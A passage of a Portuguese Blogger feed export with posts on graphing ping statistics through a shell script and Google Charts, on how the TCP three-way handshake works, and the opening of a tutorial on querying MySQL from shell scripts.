&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; MIN=0&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; AVG=0&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; MAX=0&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; MDEV=0&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;for REG in ${LISTA}&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;do&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;PA=&quot;$(echo ${REG} | tr &#39;_&#39; &#39; &#39; )&quot;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;MIN=&quot;$(echo ${PA} | awk &#39;{print $4}&#39; )&quot;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;AVG=&quot;$(echo ${PA} | awk &#39;{print $5}&#39; )&quot;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;MAX=&quot;$(echo ${PA} | awk &#39;{print $6}&#39; )&quot;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;MDEV=&quot;$(echo ${PA} | awk &#39;{print $7}&#39;)&quot;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;VAR=&quot;$( echo ${PA} | awk &#39;{print $1,$2,$3 }&#39; )&quot;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;echo &quot;[&#39;${VAR}&#39;, ${MIN} , ${AVG}, ${MAX}, ${MDEV} ],&quot;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;done&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;b&gt;&amp;nbsp;echo &quot;[&#39;0&#39;, 0, 0, 0, 0]&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ]);&quot;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
echo &quot; &amp;nbsp; &amp;nbsp;var options = {&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; title: &#39;Grafico&amp;nbsp;&amp;nbsp;ms Pacotes&#39;,&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; hAxis: {title: &#39;Ocorrencias minuto&#39;, &amp;nbsp;titleTextStyle: {color: &#39;red&#39;}}&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; };&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; var chart = new google.visualization.AreaChart(document.getElementById(&#39;chart_ms&#39;));&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; chart.draw(data, options);&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;lt;/script&amp;gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;/head&amp;gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&amp;nbsp; &amp;lt;body&amp;gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;div id=&#39;chart_ms&#39; style=&#39;width: 900px; height: 200px; &#39;&amp;gt;&amp;lt;/div&amp;gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&quot;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
agora basta acessar e ver a mágica acontecer.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh03qMM-LvePtjf25e8a_acyL9bgpwG1_J53soLkWIoEDav6K34n6ZWEbvOVBBKBDsBKFmKPNEGstDBuc9caJGUgz6NZnMkm4SndL2S5QVZLJ1Tb-Vndnt9Syo3BeSKpXiN7bLRYKrw8yk/s1600/Grafico.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;130&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh03qMM-LvePtjf25e8a_acyL9bgpwG1_J53soLkWIoEDav6K34n6ZWEbvOVBBKBDsBKFmKPNEGstDBuc9caJGUgz6NZnMkm4SndL2S5QVZLJ1Tb-Vndnt9Syo3BeSKpXiN7bLRYKrw8yk/s640/Grafico.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
o arquivo de log armazena quantidade de pacotes enviados e recebidos, isso permite que vc monte um outro grafico, como apresentado acima, sendo assim, poderá ver se sua rede está perdendo muito pacote.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Qua Nov 28 15:10:10 BRST 2012 ; &lt;b&gt;10 10&lt;/b&gt; , &amp;nbsp;35.574 37.078 42.720 2.062&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
como grifado acima, 10 enviados e 10 recebidos..&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
bom, a ideia era ser rápido, então fico por aqui, qualquer duvida pode me mandar email... &amp;nbsp;e desculpe se tem algum erro, pois, não deu para revisar.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://wesleyhenriqueleite.blogspot.com/feeds/5229166437442186620/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://wesleyhenriqueleite.blogspot.com/2012/11/grafico-com-shell-e-google-chart.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2537384307820372300/posts/default/5229166437442186620'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2537384307820372300/posts/default/5229166437442186620'/><link rel='alternate' type='text/html' href='http://wesleyhenriqueleite.blogspot.com/2012/11/grafico-com-shell-e-google-chart.html' title='Gráfico com Shell e Google Chart'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/14743264157748275917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh03qMM-LvePtjf25e8a_acyL9bgpwG1_J53soLkWIoEDav6K34n6ZWEbvOVBBKBDsBKFmKPNEGstDBuc9caJGUgz6NZnMkm4SndL2S5QVZLJ1Tb-Vndnt9Syo3BeSKpXiN7bLRYKrw8yk/s72-c/Grafico.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2537384307820372300.post-7463803615979562148</id><published>2012-10-12T13:51:00.000-03:00</published><updated>2012-10-12T13:52:52.746-03:00</updated><title type='text'>Entendendo um pouco mais da conexão de 3 vias no TCP</title><content type='html'>&lt;div&gt;
3-way-handshake é o nome dado ao processo de saudação realizado pelo TCP, de modo a credenciar duas pontas (equipamentos) no processo de envio e recebimento de informação.&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
O TCP utiliza um mecanismo de estabelecimento de conexão de 3 vias, para que isso ocorra primeiramente o servidor deve está um estado denominado &lt;i&gt;&lt;b&gt;open passive&lt;/b&gt; (aquele que não tem a iniciativa da conexão ficando apenas no aguardo)&lt;/i&gt;&amp;nbsp;aguardando uma entrada no estado chamado de &lt;b&gt;LISTEN&lt;/b&gt; (ouvindo), já o cliente, que no caso irá realizar a conexão, deverá emitir um &lt;b&gt;&lt;i&gt;open active&lt;/i&gt; &lt;/b&gt;&lt;i&gt;(aquele que a conexão parte dele, ou seja, o que faz o acesso)&lt;/i&gt; e entrar no estado &lt;b&gt;SYN-SENT&lt;/b&gt; uma vez que os dados estão sendo transmitidos e devem aguardar uma resposta valida ou não, o servidor passa para o estado &lt;b&gt;SYN-RECEIVED&lt;/b&gt; emitindo uma resposta paura o cliente e, por fim, ambos mudam para estado &lt;b&gt;ESTABLISHED&lt;/b&gt;, este processo também pode ser resumido como envio de um SYN por parte do cliente ao servidor, este retorna um SYN com ACK = 1 e, por fim, o cliente responde com um ACK SEQ = 1.&amp;nbsp; &lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;Entendendo o processo:&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Quando nos referimos a um serviço que está aguardando por novas conexões não vemos qualquer complexidade a nível de aplicação, contudo, a nível de TCP envolve uma série Blocos de Controles de Transmissão (TCB) para cada nova conexão aberta - responsáveis&amp;nbsp;por verificar a necessidade de retransmissão, tempo de ida e volta ou qualquer estatística que o TCP venha a utilizar - basicamente, vamos entender que existe um servidor em algum lugar do mundo cujo IP é &lt;b&gt;1.2.3.4&lt;/b&gt; e na porta &lt;b&gt;9306&lt;/b&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;existe um serviço rodando (&lt;i&gt;LISTEN&lt;/i&gt;), ou seja, encontra-se no estado &lt;i&gt;open passive &lt;/i&gt;e um cliente cujo identificador é &lt;b&gt;4.3.2.1 &lt;/b&gt;está rodando um &amp;nbsp;programa &lt;i&gt;XpTo 1.0&lt;/i&gt; para acessar o host&amp;nbsp;&lt;b&gt;1.2.3.4:9306.&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEif55zZaYMkICHrmpUvPjLXPcJoRxFrjrMS5qCQwa1meNSdA1UNPlXIJgBxwGr2229z1vDZsRGgmn3qbl6BVPBiwfrjOfSfR2zLOERIfAWHlydDF5N6TQnmul4OBBcOLXdYah4BBV27Lk4/s1600/3way.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;363&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEif55zZaYMkICHrmpUvPjLXPcJoRxFrjrMS5qCQwa1meNSdA1UNPlXIJgBxwGr2229z1vDZsRGgmn3qbl6BVPBiwfrjOfSfR2zLOERIfAWHlydDF5N6TQnmul4OBBcOLXdYah4BBV27Lk4/s640/3way.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Ao iniciar uma conexão a aplicação envia um &lt;b&gt;SYN &lt;/b&gt;com número de&lt;b&gt; sequência = 0&lt;/b&gt; ( &lt;i&gt;SEQ=0&lt;/i&gt; )&lt;b&gt;&amp;nbsp;&lt;/b&gt;ao servidor, o tcp implementa um estado &lt;b&gt;SYN-SENT&lt;/b&gt; no cliente, ou seja,&lt;i&gt; &quot;quero me sincronizar com você e aguardo resposta ao meu pedido na porta &lt;b&gt;32564&lt;/b&gt;&quot;&lt;/i&gt;, neste momento o cliente aguarda um segmento cujo o flag ativo é um&lt;b&gt; SYN&lt;/b&gt; contendo a confirmação do pedido enviado anteriormente, mas, ainda depende do Quadro chegar ao destino na camada de transporte, de modo que o TCP irá analisá-lo e reservar os recursos necessários para que essa conexão possa ser estabelecida. Já com o &lt;b&gt;&lt;i&gt;PDU,&amp;nbsp; &lt;/i&gt;&lt;/b&gt;na camada de transporte de nosso servidor, um novo processo será criado de modo a permitir que o serviço rodando nessa portar de destino continue recebendo novas conexões, entenda que, ao receber um segmento o TCB PAI necessita tratar essa conexão, bem como as diversas outras que estão acontecendo, sendo assim, um processo filho idêntico ao TCB PAI é criado (TCB FILHO) o mesmo será  colocado no estado &lt;b&gt;SYN-RECEIVED&lt;/b&gt;, um passo importante nesta etapa é que todos os novos segmentos são associados a este processo filho, endereço ip e porta do transmissor são associados a ele, o conteúdo é analisado por mecanismos do PROTOCOLO TCP, uma série de bits são flegados para indicar ao próximo recursos do protocolo que irá tratar o segmento informando-o o tipo de tratamento que deve dar a este, só assim, os recursos são reservados e um &lt;b&gt;SYN/ACK&lt;/b&gt;&amp;nbsp; &lt;b&gt;&lt;i&gt;(SYN / ACK=1 SEQ=0)&lt;/i&gt;&lt;/b&gt; é enviado ao solicitante, o&lt;b&gt;&amp;nbsp;SYN&lt;/b&gt; contendo uma confirmação para o pedido de sincronização enviado anteriormente é recebido pelo cliente, exatamente o que ele aguardava. É importante observar que, nesse instante, o &lt;b&gt;ACK &lt;/b&gt;enviado pelo servidor possui valor igual a &lt;b&gt;1&lt;/b&gt; (um) e o número de sequência é &lt;b&gt;0&lt;/b&gt; (zero), essa é uma resposta do servidor para o cliente informando a seguinte &amp;nbsp;frase: &quot;recebi sua solicitação e tenho um serviço com recurso alocado para suportar sua conexão, fico no aguardo&quot;,&amp;nbsp;por fim, o cliente satisfeito com as informações obtidas durante a transmissão envia um &lt;b&gt;ACK&lt;/b&gt; com número o de sequência =1 &amp;nbsp;informando, &quot;é isso mesmo que espero&quot;, nesse ponto, o 3way está finalizado e ambos mudam seu status para &lt;b&gt;ESTABLISHED&lt;/b&gt; e cliente/servidor podem iniciar a transferência de dados e ou informação, o estado é mantido até que, por qualquer motivo, uma das pontas queira encerrar a conexão.&amp;nbsp; &lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;
Uma particularidade interessante a respeito do TCP é o modo como o segmento chega à camada de transporte, sendo diferente de RST (Reset) e SYN será encaminhado para processamento, por acreditar tratar-se de alguma conexão com estado &lt;b&gt;ESTABLISHED&lt;/b&gt;, até abrir o segmento e identificar que não existe nada associado (número de sequência, buffer alocado e etc ), acaba enviando um RST, e pode acreditar, isso já é bastante informação.&lt;br /&gt;
&lt;br /&gt;
Entendido o processo do 3-way-handshake cabe agora entender o processo de envio e recebimento de solicitações/informações/dados, mas fica para outro dia.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://wesleyhenriqueleite.blogspot.com/feeds/7463803615979562148/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://wesleyhenriqueleite.blogspot.com/2012/10/entendendo-conexao-de-3-vias-do-tcp.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2537384307820372300/posts/default/7463803615979562148'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2537384307820372300/posts/default/7463803615979562148'/><link rel='alternate' type='text/html' href='http://wesleyhenriqueleite.blogspot.com/2012/10/entendendo-conexao-de-3-vias-do-tcp.html' title='Entendendo um pouco mais da conexão de 3 vias no TCP'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/14743264157748275917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEif55zZaYMkICHrmpUvPjLXPcJoRxFrjrMS5qCQwa1meNSdA1UNPlXIJgBxwGr2229z1vDZsRGgmn3qbl6BVPBiwfrjOfSfR2zLOERIfAWHlydDF5N6TQnmul4OBBcOLXdYah4BBV27Lk4/s72-c/3way.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2537384307820372300.post-8961162572980359812</id><published>2012-10-04T03:36:00.000-03:00</published><updated>2012-10-04T03:36:14.007-03:00</updated><title type='text'>Shell Script e Mysql</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
Neste post irei demonstrar o simples processo para manipular dados em uma base mysql, o processo é simples e facilita muito quando estamos trabalhando com algum&amp;nbsp;projeto&amp;nbsp;que necessite de um banco de dados que não seja um arquivo &quot;txt&quot;.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;Recomendações:&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Não utilize root para conectar ao banco;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Garanta um&amp;nbsp;permissionamento&amp;nbsp;adequado para o user que fará conexão ao mysql;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
chmod 777 só se souber o que está fazendo.&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
uma dica é remover a variável do array CONF[2] e manter a string de conexão com o -p apenas sem nada na frente, assim, sempre que for fazer algum insert ou select, exigirá senha, como a string abaixo&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;MYSQL=&quot;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;${&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;MYC&lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&amp;nbsp;-h&lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;${&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;CONF&lt;/span&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;[3]&lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&amp;nbsp;-u&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;${&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;CONF&lt;/span&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;[1]&lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&amp;nbsp;-p&lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&amp;nbsp;-D&lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;${&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;CONF&lt;/span&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;[4]&lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;color: #134f5c; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;Botando a mão na massa:&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
base minerinux&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
tabela usuarios&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;div&gt;
+----------+-------------+------+-----+---------+----------------+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/div&gt;
&lt;div&gt;
| Field &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Type &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Null &amp;nbsp; &amp;nbsp; &amp;nbsp;Key &amp;nbsp; Default &amp;nbsp; &amp;nbsp; Extra &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
+----------+-------------+------+-----+---------+----------------+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/div&gt;
&lt;div&gt;
| UsuId &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;int(11) &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; NO &amp;nbsp; &amp;nbsp; PRI &amp;nbsp; &amp;nbsp;NULL &amp;nbsp; &amp;nbsp; auto_increment &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/div&gt;
&lt;div&gt;
| UsuLogin &amp;nbsp; varchar(40) &amp;nbsp; NO &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; NULL &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
| UsuPass &amp;nbsp; &amp;nbsp;varchar(40) &amp;nbsp; NO &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;NULL &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/div&gt;
&lt;div&gt;
+----------+-------------+------+-----+---------+----------------+&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Não me preocupei com detalhes como dados repetidos e coisas do tipo, apenas irei demonstrar o processo para inserir e consultar um registro na tabela.&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Vamos dividir nosso script em duas partes, uma armazenará as variáveis de conexão com o banco juntamente com as funções responsáveis por gravar e realizar as consultas em nossas tabelas, a segunda parte com o corpo do programa.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
